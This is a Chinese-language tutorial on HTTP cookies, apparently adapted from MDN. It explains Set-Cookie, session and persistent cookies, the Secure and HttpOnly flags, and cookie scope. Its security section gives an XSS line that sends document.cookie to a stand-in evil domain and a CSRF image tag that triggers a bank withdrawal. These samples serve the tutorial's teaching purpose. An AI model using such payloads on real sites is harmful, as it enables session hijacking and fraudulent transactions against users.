由於http協議的無狀態特性導致現代網路使用cookie成為必然。
Cookie主要用於以下三個方面:
- 會話狀態管理
- 個性化設定
- 瀏覽器行為跟蹤
在沒有更多的瀏覽器本地儲存方案之前,cookie一直作為瀏覽器本地儲存使用,儲存大量的本地資料。這會導致每次請求都攜帶大量不必要的cookie資訊,帶來額外的效能開銷。隨著HTML5的推廣,新的儲存方案Web storage API已經逐漸取代了Cookie的儲存功能,cookie利用其可以隨請求自動攜帶的特性可以專心彌補http的無狀態問題。就像首都北京不斷的釋放自己的非首都功能一樣。
建立Cookie
當伺服器收到HTTP請求時,伺服器可以在響應頭裡面新增一個Set-Cookie選項。瀏覽器收到響應後通常會儲存下Cookie,之後對該伺服器每一次請求中都通過Cookie請求頭部將Cookie資訊傳送給伺服器。另外,Cookie的過期時間、域、路徑、有效期、適用站點都可以根據需要來指定。
Set-Cookie響應頭部和Cookie請求頭部
伺服器使用Set-Cookie響應頭部向使用者代理(一般是瀏覽器)傳送Cookie資訊。一個簡單的Cookie可能像這樣:
Set-Cookie: <cookie名>=<cookie值>
會話期Cookie
會話期Cookie是最簡單的Cookie:瀏覽器關閉之後它會被自動刪除,也就是說它僅在會話期內有效。
Set-Cookie: id=a3fWa;
永續性Cookie
和關閉瀏覽器便失效的會話期Cookie不同,永續性Cookie可以指定一個特定的過期時間(Expires)或有效期(Max-Age)。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Cookie的Secure 和HttpOnly 標記
標記為 Secure 的Cookie只應通過被HTTPS協議加密過的請求傳送給服務端。但即便設定了 Secure 標記,敏感資訊也不應該通過Cookie傳輸,因為Cookie有其固有的不安全性,Secure 標記也無法提供確實的安全保障。從 Chrome 52 和 Firefox 52 開始,不安全的站點(http:)無法使用Cookie的 Secure 標記。
為避免跨域指令碼 (XSS) 攻擊,通過JavaScript的 Document.cookie API無法訪問帶有 HttpOnly 標記的Cookie,它們只應該傳送給服務端。如果包含服務端 Session 資訊的 Cookie 不想被客戶端 JavaScript 指令碼呼叫,那麼就應該為其設定 HttpOnly 標記。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Cookie的作用域
Domain 和 Path 標識定義了Cookie的作用域:即Cookie應該傳送給哪些URL。
Domain 標識指定了哪些主機可以接受Cookie。如果不指定,預設為當前文件的主機(不包含子域名)。如果指定了Domain,則一般包含子域名。
例如,如果設定 Domain=mozilla.org,則Cookie也包含在子域名中(如developer.mozilla.org)。
Path 標識指定了主機下的哪些路徑可以接受Cookie(該URL路徑必須存在於請求URL中)。以字元 %x2F ("/") 作為路徑分隔符,子路徑也會被匹配。
例如,設定 Path=/docs,則以下地址都會匹配:
- /docs
- /docs/Web/
- /docs/Web/HTTP
JavaScript通過Document.cookies訪問Cookie 通過Document.cookie屬性可建立新的Cookie,也可通過該屬性訪問非HttpOnly標記的Cookie。
document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// logs "yummy_cookie=choco; tasty_cookie=strawberry"
複製程式碼
安全
會話劫持和XSS
在Web應用中,Cookie常用來標記使用者或授權會話。因此,如果Web應用的Cookie被竊取,可能導致授權使用者的會話受到攻擊。常用的竊取Cookie的方法有利用社會工程學攻擊和利用應用程式漏洞進行XSS攻擊。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
跨站請求偽造(CSRF)
比如在不安全聊天室或論壇上的一張圖片,它實際上是一個給你銀行伺服器傳送提現的請求:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">